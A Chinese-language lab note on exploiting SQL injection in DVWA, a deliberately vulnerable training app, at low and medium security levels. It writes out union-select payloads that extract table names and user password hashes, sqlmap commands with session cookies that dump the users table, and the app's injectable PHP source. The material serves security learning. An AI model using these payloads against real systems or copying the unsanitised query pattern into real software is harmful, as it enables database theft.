DVWA學習之SQL注入
環境工具
dvwa 1.9
phpstudy
firefox
burpsuite
實驗步驟
一、設定安全級别為LOW
1. 登入DVWA,并将安全級别設定為LOW
2. 進入SQL注入子產品,并輸入1,傳回結果如下
3. 下面判斷注入類型是字元型注入還是整數型注入
字元型注入的SQL語句形如
select * from xx where id=\'$id\'
整數型注入的SQL語句形如
select * from xx where id=$id
(1) 分别輸入 1 and 1=1 和 1 and 1=2,都能傳回正常結果
說明不是整數型注入,因為如果是整數型注入,執行select * from xx where id=1 and 1=2 時應報錯。
(問:select * from xx where id=\'1 and 1=2\' 這裡應該不傳回結果才對?)
(2) 輸入 1’ or \'1\'=\'1 ,傳回所有結果
4. 擷取列數
(1) 1\' or \'1\'=\'1\' order by 3 #
(2) 1\' or \'1\'=\'1\' order by 2 #
說明表中的資料共兩列
5. 擷取資料庫名
1\' union select 1, database() #
6. 擷取資料庫中的表名
1\' or \'1\'=\'1\' union select 1,table_name from information_schema.tables where table_schema=database() #
擷取guestbook, users 兩張表
7. 擷取users表中的列名
1\' union select 1, group_concat(column_name) from information_schema.columns where table_name=\'users\' #
8. 擷取users 表中的使用者名密碼
1\' union select user,password from users #
用sqlmap 實作SQL注入
1. 嘗試直接用url,發現結果跳轉到登入頁面,是以需要cookie
2. 帶上cookie參數
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"
3. 使用--batch 參數,可以讓sqlmap為我們自動填寫執行選項
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
4. 使用--dbs 擷取所有的資料庫
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs
5. 使用-D指定資料庫,--tables 檢視資料中的表
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables
6. 用-D xxx -T xxx 指定表,--columns檢視表的列
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns
7. 用-C xxx --dump 輸出指定列的資料
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump
(sqlmap 還可以爆破hash密碼)
附錄
伺服器核心代碼(LOW)
<?php
if( isset( $_REQUEST[ \'Submit\' ] ) ) {
// Get input
$id = $_REQUEST[ \'id\' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\';";
$result = mysql_query( $query ) or die( \'<pre>\' . mysql_error() . \'</pre>\' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
二、設定安全級别為MEDIUM
1. 設定dvwa的安全級别為medium
2. sql注入界面随便選擇id,傳回正确結果
此時沒有輸入框,但可以通過burpsuite抓包的形式進行注入
3. 在burpsuite中修改id參數,即可實作注入
medium 的代碼中添加了對特殊字元的轉義,但由于medium為數字型注入,用不上引号,是以可以用跟字元型注入同樣的方式進行注入
Sqlmap 實作注入
1. 用burpsuite 捕獲正常的資料包,然後右鍵,選擇 "copy to file",儲存為sql_dvwa.txt
2. 啟動sqlmap進行注入
python sqlmap.py -r sql_dvwa.txt
其他操作同上
附錄
伺服器核心代碼如下(medium)
<?php
if( isset( $_POST[ \'Submit\' ] ) ) {
// Get input
$id = $_POST[ \'id\' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( \'<pre>\' . mysql_error() . \'</pre>\' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>